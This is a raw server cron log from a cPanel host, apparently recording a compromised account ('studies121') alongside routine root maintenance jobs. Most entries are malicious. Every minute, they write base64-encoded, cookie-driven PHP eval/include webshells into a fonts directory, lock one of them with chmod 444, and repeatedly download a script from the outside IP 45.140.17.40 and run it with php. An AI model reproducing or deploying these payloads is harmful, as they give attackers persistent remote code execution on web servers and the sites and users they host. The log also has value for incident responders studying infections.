Sep  9 03:59:01 ip-184-168-122-23 CROND[7310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 03:59:01 ip-184-168-122-23 CROND[7308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:00:01 ip-184-168-122-23 CROND[7426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:00:01 ip-184-168-122-23 CROND[7427]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 04:00:01 ip-184-168-122-23 CROND[7433]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:00:01 ip-184-168-122-23 CROND[7431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:00:01 ip-184-168-122-23 CROND[7432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:00:01 ip-184-168-122-23 CROND[7434]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:00:01 ip-184-168-122-23 CROND[7435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:00:01 ip-184-168-122-23 CROND[7436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:00:01 ip-184-168-122-23 CROND[7438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:01:01 ip-184-168-122-23 CROND[7589]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7589]: starting 0anacron
Sep  9 04:01:01 ip-184-168-122-23 CROND[7598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:01:01 ip-184-168-122-23 CROND[7600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:01:01 ip-184-168-122-23 CROND[7603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:01:01 ip-184-168-122-23 CROND[7597]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 04:01:01 ip-184-168-122-23 CROND[7601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7602]: finished 0anacron
Sep  9 04:02:01 ip-184-168-122-23 CROND[7714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:02:01 ip-184-168-122-23 CROND[7716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:02:01 ip-184-168-122-23 CROND[7720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:02:01 ip-184-168-122-23 CROND[7721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:02:01 ip-184-168-122-23 CROND[7723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:03:01 ip-184-168-122-23 CROND[7821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:03:01 ip-184-168-122-23 CROND[7823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:03:01 ip-184-168-122-23 CROND[7825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:03:01 ip-184-168-122-23 CROND[7824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:04:01 ip-184-168-122-23 CROND[7942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:04:01 ip-184-168-122-23 CROND[7943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:04:02 ip-184-168-122-23 CROND[7944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:04:02 ip-184-168-122-23 CROND[7945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:04:02 ip-184-168-122-23 CROND[7946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:05:01 ip-184-168-122-23 CROND[8064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:05:01 ip-184-168-122-23 CROND[8067]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:05:01 ip-184-168-122-23 CROND[8066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:05:01 ip-184-168-122-23 CROND[8073]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 04:05:01 ip-184-168-122-23 CROND[8070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:05:01 ip-184-168-122-23 CROND[8071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:05:01 ip-184-168-122-23 CROND[8072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:06:01 ip-184-168-122-23 CROND[8173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:06:01 ip-184-168-122-23 CROND[8175]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:06:01 ip-184-168-122-23 CROND[8176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:06:01 ip-184-168-122-23 CROND[8178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:06:01 ip-184-168-122-23 CROND[8177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:07:01 ip-184-168-122-23 CROND[8359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:07:01 ip-184-168-122-23 CROND[8361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:07:01 ip-184-168-122-23 CROND[8362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:07:01 ip-184-168-122-23 CROND[8363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:08:01 ip-184-168-122-23 CROND[8445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:08:01 ip-184-168-122-23 CROND[8447]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:08:01 ip-184-168-122-23 CROND[8448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:08:01 ip-184-168-122-23 CROND[8449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:08:01 ip-184-168-122-23 CROND[8450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:09:01 ip-184-168-122-23 CROND[8552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 04:09:01 ip-184-168-122-23 CROND[8554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:09:01 ip-184-168-122-23 CROND[8556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:09:01 ip-184-168-122-23 CROND[8555]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 04:09:01 ip-184-168-122-23 CROND[8557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:10:01 ip-184-168-122-23 CROND[8674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:10:01 ip-184-168-122-23 CROND[8676]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:10:01 ip-184-168-122-23 CROND[8680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 04:10:01 ip-184-168-122-23 CROND[8679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 04:10:01 ip-184-168-122-23 CROND[8682]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:10:01 ip-184-168-122-23 CROND[8683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:10:01 ip-184-168-122-23 CROND[8687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:10:01 ip-184-168-122-23 CROND[8689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
